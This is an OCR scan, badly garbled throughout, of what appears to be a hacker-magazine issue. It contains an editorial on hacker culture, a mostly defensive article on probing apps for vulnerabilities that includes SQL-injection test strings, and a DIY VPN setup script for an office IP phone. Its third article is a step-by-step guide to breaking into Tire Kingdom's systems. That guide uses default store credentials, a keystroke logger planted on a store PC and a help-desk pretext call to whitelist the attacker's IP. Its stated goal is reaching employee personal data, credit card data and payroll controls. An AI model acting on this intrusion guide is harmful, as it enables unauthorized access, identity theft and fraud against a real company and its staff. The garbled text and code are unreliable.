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We 've wi tnessed a gre,lt change in ou r
c ulture over the 1,1St co uple of decad es. But
man y of our read ers have o nly heen aro und
the mse lves for lh.lt amount of time or eve n
less. Therefore it's imp ortant to look at wha t
has changed so that some perspect ive can
be glea npd out of wh at 's be en go ing on. And
for the rest of us, it's important to remember
so we can .1150 learn and hopl'fully plan
things out for a lx-tter future.

Peopl e used to get invo lved in hacking
hack whe n the wor ld of computer and
telephone technology was just beginni ng
to open up becau se for ma ny of us it was
the on ly way in. Owni ng a co mp uter was
somet hing most of us cou ld onl y dream
about, And the telephone networ k was
b ig and o mn ipoten t and kept out of the
reac h of those w ho wanted to shape it and
experiment.

In the early days, if you wa nted to play
w ith a UNIX syste m, you a lmos t had to
use o ne tha t you did n't have pe rmission to
access. If you want ed 10 co mmunicate on
somet hing bigger than a one or two line
BFl5, brea king into a syste m run by the
gove rnme nt or a large corpor at ion was a
path ma ny of us chose.

The co st of milking a telephon e ca ll was
a lmos t un iversally prohibit ive for anyo ne
who had the desire to try and co mmunicate
w ith people outside their local area. Methods
were devised and sha red that allowed those
w ith a bit of technical knowl ed ge, a sp irit of
reb ellion, and a desire to explore the abi lity
to make ca lls a ll aro und the wor ld, not just
to othe r peopl e like them but a lso to ope ra­
tors and techni cian s who co uld help them
understand the vast system.

Today it's a complete l'( different land ­
sca pe, .It least for those 0 us in the deve l­
ope d worl d. Hop ping on the ne t and
communicating worldwi de is somet hing
prac tica lly everyone takes for granted these
days . It mean s nothing to access a we bsite
that's co rning from another part of the world
whe reas in the past it would have been a big
deal to see even a foreig n newspap er in the

library. Details of our da ily lives are shared
planc tw id« through ou r blogs, mai ling lists,
mob ile phones , laptop s, and scores ot o the r
devices and me thods. Co ntac ting anyo ne
a nywhe re at a ny time has never been eas ier
or chea ppr.

It would seem that everything those
hackers of the not -so -distant past were
sPlling out to ac hieve has been accorn ­
plished. Access is rlwlily avail.ible 10 most
of us, co mmunicatio ns aro und the globe
are cheap or free , informat ion on operating
systems an d computer progrd!llS is shared
rather than restric ted, and co ncepts like
open so urce softwa re, froe access, and open
expression seem to be flourishing or, at the
very least, heavily in dem and .

50 where do the hacke rs fit in tod ay?
How are they even relevant?

To answer this req uires an understa nd ing
of wh at h.lcking act ua lly is. Ii you're of the
bel ief that the worl d of hackin g co mprises
lillie more than ma king free ph on e ca lls and
infiltrating co mputer syste ms, then the rele­
vance factor has indeed go ne way down .
The re is no lon g d istance anymo re; There
see ms 10 be lillie that is beyond reach . You
no lon ger have to be a hacker to figure it
a ll out. And since computers a re now every­
whe re, a ll so rts of people are access ing
th ings they're not supposed to have access to,
regardl ess of their techni ca l ab ility. Wh ether
it's a university that leaves the persona l
data of 90,000 peopl e up on a webs ite, a
ce rtain gove rnme nt age ncy that still has its
routers accessi ble to the en tire worl d using
default password s, or individuals who fee l
co mpe lled to post a n astounding amount
of person a l data a nd priva te thou ghts on
sites like My5pace, Facobook, l.ivelournal.
Blogger, a nd so ma ny othe rs - infiltration
and the obtai ning of datil tha t we rea lly
sho uld n't be ab le to obta in is hardl y a cha l­
len ge anymore.

To man y that cha llenge has been
reversed. instead of trying to figure out
ways to pe ne trate a system , the task now
is to keep from bein g victimized by our
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collective naivete and the poor security that
pervades the computers running our society.
M aintaini ng your own priva cy, avoiding the
many ways of becoming a victim, and ulti ­
mately designing better systems is the next
step that many of us are al ready taking.

While these are all positive things to be
invo lved in, they are mostly defensive and
lack the real edge of w hat the hackers of
old we re invol ved in. For those w ho have
never exper ienced thi s, it 's very di fficu lt to
describe . But it's a feeling of knowi ng that
you're into something fasci nating that most
"normal" peopl e could never understand
and that one day might lead to something
incredible . It's also something that is usually
forbi dden for one reason or another, often
because the peopl e in con trol also reali ze
the tremendous potent ial and they fear the
sense of empowerment that individua ls
mig ht gain by understandi ng this.

Lots of peopl e see the th rill in being
invol ved wi th something li ke the hacker
world because it's portrayed w ith a hint
of insurgency and self-determination. It's
rom anti ci zed in our movies, on televis ion,
and in li terature. Even in mainstream stories,
the hero always ope rates outside the rules in
orde r to get the job do ne eiiect ively, as well
as to be defi ned as a true indiv idual. And
for the vast majority of those interested in
beco ming part of the hacker culture, thi s is
all that matters: the image. That, even more
than the changing techno log ies, is w hat
threatens the relevancy of the hacker world.
It's the epitome of a rebel wi thou t a cause.

There are all sorts of stor ies that have
been wr itten abou t victors in a war w ho then
have no idea how to hand le their triumph
because they never exp -cted to win . There
are elements of lhal whi ch can be appl ied
to hackers. We no longer need to struggle to
acco mp li sh those things we wanted , mainly
communi cations, understand ing, and the
sharing of informa tio n. Those all seem to
be the defaul ts now. In that regard we have
most defini tely won.

But luck ily the hacker mentality goes
quit e a bit beyond those con cepts. Di scovery
never ends. Nor do those forces that want
total contro l over societies and indiv idua ls,
those forces w hich we must engage in
perpetua l batt le with. As long as they exist ­
in other words, for the durat ion of humanity
- the hacker menta lity wi ll con tinue to be
relevant and essent ial.

It's di ffi cu lt not to get sucked into the
world of popularity, especially w hen w hat
you are saying or doi ng happens to become

trendy. We 've faced this odd problem for a
large part of our existence. We've wat ched
many good ideas turn into vastly successful
business models. We 've seen many people
beco me insanely rich. And we 've witnessed
the inevitab le gap that develops betw een
the original goals and the realities of the
marketpl ace w hen "success" strikes. It's not
that bigger isn't always better. The origi nal
p icture, however, does tend to become
obscu red w hen it's surrounded by flashi ­
ness and mass appeal. This may be fine for
prom oting com mercial products but it's
about the worst thing that could happen to
an entity w ith ideals.

An interesting parallel is that of govern­
ment. M any years ago it was possibl e to be
heard as an individual, even all the way to
the top leadership positions.Today that is all
but impossible with all of the "pro tect ion"
and virtual firewall s that keep the people
fro m thei r leaders. This is not a healthy
progression .There is grow ing and then there
is grow ing apart.

We will remain relevant as long as we
keep thinking and developin g as individuals.
It's clea r the landscape has changed and it
wo uld be foolish to not change w ith it. But to
say the hacker world is dead because there's
noth ing left to hack shows a profound lack
of understanding as to w hat hackin g actually
is. It's not a fashion statement or a fad. It's not
a bunch of peop le looking to break the laws
and get everything there is to get for free. It's
a state of mi nd that keeps one in a constant
state of questioning everything arou nd
them, wh ether it be technological in nature,
a set of ru les, or an entire belief system. It's
about adapti ng and exper imenti ng, far more
than most others wou ld ever attempt. And,
perhaps most importantl y, it's about sharing
wh at you learn and wh at you experie nce,
not just wi th fellow hackers but wi th the rest
of the wo rld. It's l ikely most of the latter w ill
have no idea just w hat it is you're doin g and
in fact may completely misunderstand your
motives. But perceptions change over time,
one way or another.

We're always looking to ho ld onto ou r
sp irit here and to self-exami ne as much as
possib le. This is w hy we sent out reader
surveys to all of our subscribers earl ier this
year. In the next issue we hope to be able to
analyze the p ile of opin ions and suggestions
we've gotten back. The enthusiasm we've
seen so far is all the evidence w e need to
concl ude that we've sti l l got som ething
amazing here.
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byCliff
"1I]y dOODz w07 R U h r34 11y U w l hAx

4...?" Are n' t vou just sick of reading this kinda
thin g? Gups~ what , tho "k.Iw l hax" d(~n 't get
dpsigned and published by Mirroso\t each
week. Peopl e lind them, Where do exp loi ts
and vulns (syslem vulnerahi l i ties) gpl found?
Thov're usua llv bu gs or mi sused Ieaturos.
But 'how do thev gpt d iscovered? How can
vou disco ver your own, or better sti ll, how
;:an y O U rodu cc the risk of someon e else
finding vulns with your codp? I'm going to
till k in gerwrill terms abo ut methodologies as
opposed to any script-kiddie exarnplcs.

Exploits
Exploits are vulnerabi l it ies that have been

taken 10 the next ievr-l - someo ne has seen
a wo akn css/vu tn and then wor ked out how
to abuse it. An exp lo it may allow illegal
co de to be run , it may ju st crash a system .
or it may open a back door for further abuse­
later. EXI)I ~lil s ,~ re pretty mu ch lin~ited by the
vulnerability tound, but someu mes wh at
a. l) p~'a rs a minor Vl! lrll'ril b i l i ty rn n oper~ up il
c 1.11n of ex ploits. Som e typ es of explo its a rc
descr ibed below.

Reb oot - make the server require a restart.
This can interrupt other processes, maybe
require manual starts of somo too ls, CilUSP
a lot of anx iety, "stab i l i ty" issues, and oth er
bad th ings. Very hard to track down.

Sturv» oi O xygen - strangle all the othr-r
.1ppS on till' I~ox . If <1ppS run ?ut of system
resources (typ lc <1 l1y RAM or D.lsk), they can
get pani cky and start throwing errors of
their own . Starv ing il box USIn~ one vuln/
expl o it may force oth er il [lPS to tai l. possib ly
H'vealing secrets <1long t 1(' W<1Y, or at least
bein g a huge pain to c lear up .

S!OIV to crawl - If <1 11 the starved apps
above behave well. they'll just starve to
death . and the server wil l' spend every CPU
cycle dealing with error messagps from dyi ng
applications. .

RCI'm! a secret - WP Just had the one­
hund red -m illionth (that's a huge number,
I OO,OOO,OOD spco nds is ove r l lm'e ymrs!) sel

Page 6

o customer scnsit ivo data leaked by co mp uter
system s In tho U.S. Of co urse the re.i l number
is mu ch hi gher; these 1DO mill ion we re the
ones that had 10 bp confosscxl. Compute-rs
hold so man y secrets and they're bold so
insocurelv that secre-t- fishi ng is a massive
exp loit. S'pcrPlSco u ld be personal det~il s , or
even serve r dt' la i ls, hoth va lua b!« 10 dllferenl
groups. If an ;>pp under duress w i ll re-port i ts
darabaso flloparh, for instance. other attacks
can be cr., ftpdlo attempt to retri eve that fil p
(and the good ies it co ntai nsl }.

Run il/PHa! code -:- Th.e server del ~ i ls :>rt,

a very useful secre t tor furth er exp lo itat io n.
Il legal co rle may run in- [Jroc es5and so wid en
the hol e of the vul nera lility hy givi ng esca­
lated privs.

Cipon a door - lI leg<11code cou ld be u~ed

to install a ba ckdo o r into the system, rna kiru;
future breaches easier

I'wTl3rJ!- and the bo x becomes a zomb ie,
completely owned by someone oth er than
the ow ner!

Failing Inelegantly .
Great, you've written the killer app tor

whatever systemf langu<1ge/etc \A/~'" done!
You pro bah ly started as a proof-ol -con cept,
then added a bit of tesling onl o the end, then
[ixed it for the tests that jai led, and ca lled it
RTM. There is only one person in the wo rld
less. qual if ied to test your code than you are
and that's yo ur mot her, You are the world 's
worst test of yo ur ow n code. You know the
wor kflows, yo u know where tho bod ies are
bu ried. you know w hich b its have to he
handled genl ly. ,

Un fo rtunatc lv, vo ur users won t. Users
aro dumb, <1 11 (li' th<'m. If they weren't dumb,
they'd have w ritten the app themselves. so
assume they 'n- dumb. If you w ent 50 tar <1S to
provide a manua ~/training ior YO~l r <1pp, yo ur
users w i ll ei ther torgel It or use It as a bi bl e.
flut you'll havo jorgo!tpn one or two kpy
po int s. so thpy' li improvise. They'll pu t a null
in the cosl bo x instead of a zero. Hell , they
m <1Y even typ e "zero". Lik ely thi s' ll C<1 USt'
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your system to fail. How it fails is critical not
just to the ap p, but to every other system on
fhp machine!

Hun! Resources ' - ii your app fa ils ca ta­
slrophica lly and fa i ls to rel easo resources
(nu -morv usuall y), you're e nemy number
O IH'. Exp loit: c rash the app a iew times and
w.itc h as other systems struggle for oxygen .
O ne oi them may do somethi ng coo l, or at
the very least, force a reboot.

!Jog in the Mangpr - your app fails, but
in ia iling pops up a mod al dialogue warning
oi the fai lure befor e clos ing dow n. Exp/oit:
similar to above, the prog r.lln ho lds serve-r
resources hostage until some stupirJ "ok"
box is ticked... on a blad e in il massive serve r
iarm!

[)( >!Jug Mpssagps - your app fai ls, and
in orde r to help you out, it tol ls you some
S('crpts about where' and how it failed. Now
ovorvo ne knows what versio n of .NET (or
w hate-ver) you're runn ing and, lookcx- here, .1

snippet of thp ilpp codp. That could be handy
l.i tor,...

lrror ,\!('ssaw' s - l ike Dpbug nwssagps,
bU I less frie nd ly. It's qu ite rornmon 10 see
da tab ases tplling you things .ihout 11](' 111 ­
s('lv('s whr-n .1 wr-b '!PP h.15 i.liI('d to ( o llsil!('r
.I plobl"lIl ((' ,fl., MyS(~ I , ( ( ('5S).

You r. .m flUl (' irll'l('g.lIlt f.ii lures by f('('d ing
in bad d.lt.! (rr-nu-mln-r that user who typ('l!
"ze ro"? W hat ii it was mali cious"! You Illily
no t know how to exploit .I vuln, but some­
body else might, so treat a ll vu lns as serious.

Unexpect ed Input =Unexpected Output
Appllr.i tions usually de.l l in on e or another

with datil. In fact, if the-y don't thoy'ro proh­
.1bly just cartoons and not wort h botheri ng
with. Data can go into or co rne out oi some­
kind of datastore, usually il datab.isc p.lckage
oi some sort. This is coo l. It means we may 1)('
.1 bl(' to gpt some secrets ou t in pxchange for

!lutting some w oirr ] stufi in (tpchnic.ll n.un e
lPn' is SQ I. ln jort io n).

f low do you gpt to onu-r we-ird stuff?
Have a look at the ap p you 're tl's ting and
slart typing things into the fiplds you ca n type­
things into. TIll' Kpy lu-re is to typ« in things
the application isn't expect ing. Goo d .IppS
will va lidate these attacks aw.lY, poor ones
wo n't. Inputs typ ically expe-ct text, a number
or sornonrncs even a iilp - don't give thplll
pxactly what they're exppcting.

Ii they wa nt .1 fill' (c.g., an avatar upload
for a forum), try passing them an rn p.I , or
an cxe . Set' what happ en s. You should havo
the fill' re jected straight away, but if the
app aCCl'pts an exe, you may find a way to
ex('cute it (on the server!) late r.

Ii the app wa nts a number, whilt kind of
numher does it wa nt? If it l'xpects an integer,

try giving it a float (or any other no n-integer,
such as 3 .14 1591 .

Wh at happens if you give it a O? O r a
O.00000000000000 1? O r -1? O r 99 9999
<snip loads more 9s> 99? Or "zero"?

On e of these tests may upset the system if
it trips to insert text into a num eric field, or
tries to d ivide by ze ro. If the' system is strong,
it'll laugh at your effo rts, Hut lesser apps wi ll
trip up and maybe te ll you a bit abo ut the
system !

If the app expects text, then try giving
it loads of text. Try giving it non -printing
ch a racters. Try giving it charac ters that have
special uses too - my favou rites are ';I&--''Io*!,
s/laces, and various combinations of them
( ppe nding on what I've discovered about till'
app (if it has an MSSQL backond, try fel'd ing
fields with 'XiX,' ;--). This ca n be fascinating if
you get your entered text echoe d back to you
on the nex t page (fo r in stance a sea rch form),
as if your entry isn't parse d and va lidated.
You can sla rl bui lding dala base queries 10
discover mo re about the app and possibly
re lease secn-t da ta.

Websites Illay 1)(' prob ed by me ssing
w ith the ir qlwry strings if they pass d.lt.l in
till' qUl'ry string (what .ippo.irs in the address
b.ir). You 1ll.IY w.m: 10 try HTMLcnco dpd
va lues.

So what if you hit a web ,1pp w ith massive
lavaScr ipt valida tion? It may have simi lar
Illatching validation on the server or the
dovoloper may have been 1.IZy. Try a tool like
Tamper Data (a Firdox extension) to tweak
exart Iy what gets posted back to tIll' server
afte r the Jav.1Sn ipt has had its fun and tried
to stop you!

Ca n't Take the Strain
Load testin g is the opp osite oi a DDoS

attark. I'roper I(><H I tpsting will let you know
how murh .irt ivity your sorvor/app can
h.mdlo lx-ior« me-l ting down using till' exact
samo too ls as you co uld use ior a DDoS. You
just walch the results more d osl' ly.

Min osoit has a grt'at frel' stress/ load
tpsting .i pplkation "We b Application Stress
Tool" aka Hornor. Find it on thei r website.
Thpy a lso have a fan cier one with sorno of
the datacen ter od itions of some too ls, but
Homer will do all you need . Thoro arc do ubt­
less lll.lny othe rs availablp 100.

Start off by working out what .1 "sensible"
workilow through your site may be, and
record it. Now pl.ly that workflow back w ith
more cl ients and note wh ich pages seem to
be slowest (from the results). Ramp it up a
bit more, kel'p noting you r results, an d keep
go ing. If you grap h your results, you' ll notice
a pretty linear rise in respon se times until you
hit an e lbow in the cur\'(' where respon ses
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get dramaticall y slow er. This is your theo­
retical maximum load. Of course. real wo rld
usage isn't nearly so relentless as a cluster
on the same LAN hammerin g one app, but
usage will come in peaks, and you must be
able to handl e those peaks, not the average
(including overnight) load!

I'm sure you'v e found one or two pages of
your app whi ch seem to cause you the most
delays. Rewrite them or split them into parts
and keep the server load down. It'll probably
be the page with all the big database access/
writes, etc., so look at optimising those.

If testing someone else's site, make sure
you have permission first. One man's load
test is another man's ODoS!

Finally
When writing your app, try designing

in security from the beginning. This means
coding defensively, expecting your audience
to be at best dumb, at worst , hostile! Validate
every field you have both on the server and
client, and only accept values with in the
most restrictive range. Expect non-alphanu­
meric characters and the effects they can
have. Trap specific errors, all you can think

of, and handl e them gracefully. A lways have
a catchall for unspeci fied errors, ann again,
handl e it gracefully. Get your cone read and
tested by friends/peers/colleagues (open
source software has a passive testing pool of
peers).

Test your app on a virtual machine of
some sort (Microsoft Virtu al PC or VMWare)
so you can recover from errors qui ckly and
easily without killing any other apps. Talk to
your datacenter guys about the possibility
of using virtual servers (again VMWarel
M icrosoft both have excellent offerin gs) to
completely ringfence apps. Always make
sure you di sable any debug modes you have
before going public with your app, and
finall y load test your app so you know how it
will cope over time. If you know up front that
you will run into loading problems in about
three months w ith expected growth, you can
plan for <lpp tun ing or hardwa re expansion s
and make sure you don 't starve other apps
causing them to fail. And in <Ill that spare
tim e you now have, why not try find ing some
new vuln s?

byThe Thermionic Overlord Beach, Florid a. All 600 or so stores in the
With stores splattered all over the United U.s. connect to thissystem every day through

States, chances are you've been to a Tire standard DSL or cable connections for
Kingdom at some point for <In oil change, upgraded stores, dialup lines for older ones.
tir es, or an overpriced brake job. TK sure If you telnet to <ls400. tirekingdom.co m, the
runs a slic k business, with intimate corpo- system wil l throw you a login screen at any
rate microm anagement made possible by a time of day or nigh t without complaint. Wh at
centralized network architecture. about that usernarne and password ? Pick a

Imagine what you cou ld do if you store numb er. For Store 121, log in as S121,
contro lled Tire Kingdom's main compu ter password S12L et cetera. You can't actually
systems:W ith manager'sprivilegesalone, you do anything unless your IP address is recog-
have the abil ity to hire <Inn fire employees, nized by the system (TKI) but there exist ways
change pay rates, look up commercial and around this problem.
consumer credit card data, even commit Wa ltz up to your local store on a Saturday
out right theft. It's easier than you thin k w ith when they' re slammed and take a peek at the
this artic le as your unoff icial guide. generic PCs on the counter runnin g termina l

Getting In emu lation software. Each one is numbe red
The heart of Tire Kingdom is as400 .tirek in the pattern of S (store number) PC (PC

_ ingdom.com, an IB,\-I AS400 located in Juno number), as in S1211'C03. On the terminal
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software, that same PC would have a display
10 of S121DSP03. Taped to at least one of
the computers at the main counter wi ll be
a list of employee numbers for everyone at
the store, incl ud ing managers.You have to be
behind the counter to see this, however....

Gettin g Beh ind the Counte r
If you 'd like to play around wi th the system

from a store location wi th impu nity, ask to
speak to the general manager and tell him you
want to apply for a job. Note the name of the
store manager. You 'll need it later. He' ll most
li kely steer you to one of the PCs immedi­
ately and log onto TK Intranet (intranettirek­
ingdom.com, username TK(store#), password
TK(store#), domain TKI). He'll sign into the
Depl oy hiring management conso le w ith his
employee number and password and leave
you to fill out an app licatio n. As soon as he's
gone, fi re up a command prompt and enter
tracert aS400.ti reki ngdo m.com. Note the last
hop on the store network and write thi s /P
address down for future reference. It's the
Cisco 2500 router underneath the counter.
You' ll have no web access because all DNS
requests besides TK Intranet and a handfu l of
partner companies are blocked.

If you'v • brought your handy flash drive
wi th .1 keystro ke logger program, now is
the l imp 10 lake advantage of it. Dump the
program into an unused directory, fire it up,
and don 't worry for a second about an anti­
virus. You won 't find one.

W hen they're not payi ng attention too
closely, pick up their phone and call anot her
Tire Kingdom, not one in the general area
of yours. Expl ain to w homev er picks up the
phone that you've lost/spil led coffee on your
yellow book w ith the tech support number
in it, and could they pretty please give it to
you, you're having trouble co nnecting to the
AS400. Write thi s number down on a piece
of paper alo ng with the manager's empl oyee
number, the router's internal II', the store's
external II' if you can find it, and wha te-ver
art istic doodles you've been working on.

Day Two
Wa it unti l Mond ay to return to the store as

Sundays are w' nerally dead. Make SlHP you
w't a good night's sleep since you' ll have to
work quickly today.

\Nalk in as if you ow n 111I' p lan >and tell
the body at the counter that you' re finish ing
an applica tion. Return to the same computer
and copy your keystroke log to your fl.ish
drive, making sure to wi pe the original wi th
the Wille uti lit y you should be carrying. Busy
yourse i w ith whatever hackeri sh ant ics you
desire unti l the body at the desk is no longer
payi ng close attention to you, then grab a

phon e and walk it around a corner for some
priva cy. By now you should know the manag­
er's employee number, password, router and
store /P, tech support phon e number, and
a static II' address associated with a public
computer (not the one at your house).

A Quick Note on TK Passwords
EveryTK emp loyee has a six or seven digi t

emp loyee number wh ich they keep during
their tenure at Tire Kingdom . They also have
a passwo rd between six and eight dig its long,
as mandated by the AS400's securi ty po licy,
that must be changed every 90 days. The
password cannot be the same as any of the
two or three previous passwords and cannot
contain special characters to my knowl­
edge. However, 99 .9% of all TK passwords
w ill be completely numeric as every counter
emp loyee including managers keys with their
right hand on the numerical pad. For speed,
most of them are on ly six characters in length
and are chosen to be qui ck to pound out,

Tech Support is Here to Help You
Call the tech support number. Have your

spiel polished, rehearsed, and ready to go.
Wh en you get someo ne on the line, tell them
some variation of the fo llow ing:

" Hi, th is is (manager 's name), the
milf1<Jg 'r of IK tstore«), and we're having a
lot of problems wi th our Internet access. I
keep getti ng an error when I try to connect,
the A5400 keeps telling me I'm signing on
from an unknown IP address, and to call you
guys with this IP address: (the static IP of a
comp uter you have access to) ."

If your soc ial engineering ruse works,
prepare for pandemonium as the Tire
Kingdom you 're in loses all access to the
AS400. Hang up the phon e and walk out,
and qui ckl y get behind the II' address you
gave the help desk.

Owning
By now you should have all of the infor­

Illation you need to spectacularly Own the
AS400 asa manager.The AS400 is configured
for ease of use, and ii nding your way arou nd
should be no probl em. For real fun, log into
intranet.. Lire k ingdom . com , click Dep l oy,
log in ,IS your lll anolgl' ri ,ll self. and promote
ovo rvom- as high as you possibl y can. De pl oy
w ill givl' you ,lC Cl'SS to an employee's horn e
address, all pcrson,li informollioll, SOllll' l illl(,S
even ,1 pi rt uro. Tho AS400 h,IS provisions for
retai l credit card lookup, too .... Ii you d ig
del 'p enou gh. you' ll find information that no
one should 1)(' ah l« 10 ,1("cess, rnaylx- evon
yours....

Shoins to tvscl: nnd lvncl) , L,lf<llog , 3 f1) 0 t3,
/)1 ltckl«, and tlu: Democratic Congress:
Plo.i«: do n 't fuck it lip .
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by Ariel Saia
I thought it would be fun to try connecting

one of our company's Nortel IP phones from
my home using mr broadband connection
and a VPN tunne back to our corporate
offi ce. 50 I took one of our Nortel i2004
phones home and starting seeing wh at I
could do with it.

I first needed to get into the phon e's setup.
That was easy enough. I powered the unit up
and once I saw the Nortel logo come up on
the display, I hit the group of four buttons
one at a time (below the LCD screen) in
sequence 1-2-3-4 from left to right. In the
setup I noticed our telephon y department
configures the phone with full DH CP w ith
data and voice VLAN smarts in the phone.
Since my goal was to use the phone in a very
basic home network environment, I wou ld
need to manuall y configure some of these
sett ings (more on this later). However I did
noti ce the 51 server (Norte] phone server)
speci fied. 50 at this point it looked promising
that I co uld have my office lP phon e working
at my house.

For the first step I needed to create my
VPN tunnel to corporate. I had a $400 Cyber­
Guard 5G560 fircwall/vpn device floating
around and decided to configure it as a PPTP
cli ent and connect it to my company's PPTP
VPN server. O nce connected I could then
ping the 51 server (Nortel phone server) from
the 5G560 box. Fantastic! I trekked on; I now
needed to configure the phone to communi­
cate over this link rather than being on our
internal LAN . I went into the phone's setup
again and selected "0" for no DH CP. I then
gave the phone a static IP addres (on the
same subnet as the LA on my 5G560 box)
of 192.168.1.10, netrnask 255.255.255.0,
and 192.168.1.1 as the gateway. The next
option was the 51 IP (Nortel phone server)
172. 16.20 1.11. Next was the 51 port. I
selected the default port of 4 100 . I also opted
for the defaults for 51 Action " 1" and Retry
Count "5" and repeated the same steps for
52. I then was asked for a "Voice VLAN ." I

selected "0" for no on the Voice and Data
VLAN . I sti ll had my 5G 5bO connected
to my corporate PPTP server. The phone
rebooted and after about two minutes the
phone connected to the 51 server and was
prompti ng me for a Node and TN number
(this is how the pho ne is registered to the
Nortel phone system). The next day I asked
one of my friends in the telephon y depart­
ment to provide me wi th a " Node" and "TN"
for my phone. I returned home, plugged the
numbers into the phone, and Walla!! The
phone connected!

I picked up the handset and called my
friend. I could then hear him pick up his
handset and begin talking but he couldn't
hear me from his end. After some head
scratching I decid ed to put a packet sniffer
between my 5G560 box and my broadband
connection. I found the Nortel phone server
was trying to send packets to the phone
during my phone call on port UDP/5201 and
my 5GSbO box was of course dropp ing the
packets. I then created a rule on the 5G560
box to redir ect any incom ing UDP/52 01
traffic to 192.168.1.10 (the IP phon e). I then
placed my call again and he could now hear
me and I could hear him . 50 there I sat with
an office extension in my house!

I told my friend in the telephony depart­
ment about my test and of course he wanted
one for his house too, However, after hearing
he wou ld need a $400 CyberGuard unit,
exci tement qu ickly turned to di sappoint­
ment. I now was determin ed to come up w ith
a reliable and inexpensive way to use our IP
office phones in remote locations.

I had a l.inksvsWRTS4G v4 router flashed
wi th DD -WRT '(one of the best third party
firmware) that I had been using for Wi-Fi
bridging. I remembered seeing the capability
of using it <IS a PPTP or OpenVPN cl ient!
server. 50 I configured the router as a PPTI'
cl ient just l ike the 5G5bO unit and added
to port forwarding (UDP 5201) needed by
the Nortel phone system. The IP phone
connected and my test calls were made
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-uccessfu lly, again just like in the SG560 over my company's PPTP VPN server. I now wanted
10 test the reliabi lity of the WRT54G . I qui ck ly tound that the PPTP connect ion wou ld drop
w ithin a few hours and not reconn ect without requ iring a reboot of the router. This of course
was not an acceptable option so I started looking into OpenVPN as an alternative to PPTP. In
the meant ime my friend from the telephony departme nt fou nd Nortcl was selling a solution
(Nortel Contivity) that essentially does the same thing for about $350-$4 50 per phone and
,1bout 10k for the backend VPN server. Ou ch!

Now more than ever I wanted to bui ld a solutio n on open source software. I instal led
my favorite Linux distrib ut ion (SuSe 10.1) on a spare server we had in our server roo m and
began the O penVPN setup. I tested the Linksys WRT54G (DD-WRT) with the OpenVPN
client instead of PPTP. I wrote this custom startup script for DD-WRT that creates the needed
certificate fi les and calls the O penVPN cl ient, also monitoring the tunnel for inact ivity, and
acts accordingly.

DD-WRT Startup Script
(remember not to enable OpenVPN in the DD-WRT CUI since this script calls it for you)

e c h o 's leep 8 ' » / t mp/vpngo . s h
mkd ir / t mp/op envpn
e c h o "
---- - BEGIN CERTI FICATE-----
~ * *Add You r IPcop Server Cert HERE! !** *
- - - - - END CERTI FI CATE- - - --
" > / t mp / op e nvpn/ c a . c rt

ech o II

- - - - BEGI N CERTIFICATE- ----
***ADD Your I Pc op Client Cert HERE! !***
- - - - - END CERTI FICATE--- --
II > / t mp/ op e nvpn/ c l i ent .crt

ech o "
---- - BEGI N RSA PRIVATE KEy- - - - -
** *Add You r I PCo p Pri v a t e Key HERE ! 1* ·
----- END RSA PRIVATE KEY- - - - -
" > It mp/ope nvpn/c lient. ke y
ec ho "e l i nt
dey tun
proto udp
remo t e *** YOUR PUBLIC IPCOP SERVER* * * 1 1 9 4
re s o l v - r e t. r y inf inite
no b i n d
p e r s i s t. c key
p e r s i s t - t un
t l o a t
ke e pal i v e 1 0 12 0
tun - mt u 14 00
tun - mt u - e x tra 32
mssf i x 13 00
Cd / tmp/ op env pn/ca . c r t.
c e r t / tmp / openv pn / c li e n t. crt
k e y / t mp/openvp n/c lient .key ll > /tmp/open vpn/openvpn.con f
e c ho ' ipt ab l e s - A POSTROUTJ NG - t nat - 0 tunO - j MASQUERADE' > /tmp / openvpn/route - u p . s h
e c h o 'iptabl e s - D POSTROUTI NG - t nat - 0 tunO - j MASQUERADE' > /tmp/openvpn/route - down .sh
echo 'i p t a b l e s - t na t - 1 PREROUT J NG -i tunO - p u dp -- dp o r t 5 000 :5 30 0 -
- j DNAT - - t o - d e stin a t i o n 192 . 168 . 1 .1 0 ' » /tmp/vp ngo .sh
echo ' i p t a b l e s - I I NPUT - p tcp - - dport 4 4 3 - j l og a c c ept ' » / t mp/vpngo .sh
echo ' i p t a b l e s - I IN PUT - p tcp - -dpo r t 22 - j l ogac c ept 1 » /tmp/vpngo. s h
c hl.lod 777 /tmp/openvpn/ rou te-up.sh
c hmod 7 7 ., /tmp/openvpn/ route-down .sh
echo ' r e s u l t :;:O' » /tmp/vp n go .sh
echo ' p i n g l o s s : O' » / t mp / vpn g o . s h
echo ' p i n g l o s 82 = O' » /tmp /vpngo .sh
echo 'rm /tmp/vpngo .sh' » / t rr.p / vp n g o . s h
echo ' r m /tmp/vpngo.sh ' » / tmp/vpngo .sh
echo ' TIr, / t mp/key pass' » /t.rnp /vpngo . ah
e cho 'dat e 09201 1082007 ' » /tmp/vpIlgO . sh
echo 'touch / t mp/keypass ' » Itmp/vpngo.sh
e c h o ' e c h o '* ** PKCS1 2 File Password * ** ' > /t..rr.p /keypa.ss ' » / t mp / vpngo . s h
echo '/us r /sb in/openvpn - - c on f i g /tmp / openvp n/openv pn.conf -- r ou t e - up / tm p/openvpn/route ­
- up . sh - - down /lmp/cpenvpn /route- down . sh - - a s kp a s s / t rr.p / ke y p a s s' » / t rr,p / vpn g o . sh
echo' s leep 60' » / tmp /vpn902.sh
echo whil e [ "x " ]' » /tmp/vpngo2 .sh
echo d o ' » / t T.p/vp ngo2. e h
echo s leep 12' » / t mp/vpngo2 .sh
echo r-eeu l t e t i t c on f l q t u n O 2>&1 I grep - c RUNNrNG ~ ' » / t mp/vpn g o 2 . s h
echo if I sr eau l t. -eq 0 ]' » /tmp/vpng02 . sh
echo then'» / t_mp/ vpn902 . sh
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echo sleep 10 ' » /tmp/vpngo2.sh
echo result . ' itconfig tunO 2>&1 l grep -c RUNNING " » / c mp/vpngo2. s h
echo if I $resu1t - eq 0 J' » / t mp / vp ngo2 . s h
echo then' » /tmp/vpngo2. sh
e cho whi le ( $resu1t - eq 0 I ' » / t mp/ vp ng o 2 . s h
echo do' »/tmp/vpngo2 .sh
echo' ki11a1 1 openvpn' » /tmp/vpngo2.sh
ec ho /usr/sbin/openvpn -- con f i g /tmp/openvpn/openvpn .
" con t -- r out e - up /tmp/openvpn/route-up.sh -- down / t mp / ope nvp n /
- c o u t e - down . s h --a s kpa s s Itmp/keypasB &' ~> /tmp/vpngo2 .sh
echo I sleep 40' » /tmp!vpngo2 .sh
echo ' iptables - t nat - I PREROUTING - 1 tunO - p udp --d po r t
.. 5000:5300 - j DNAT -- t o-d e s t i na t i on 192 .168 .1 .10' » /tmp/ vpngo2 .sh
e cho I iptables - I I NPUT - p tcp --
dport 443 - j logaccept' » /tmp/vpngo2 .sh
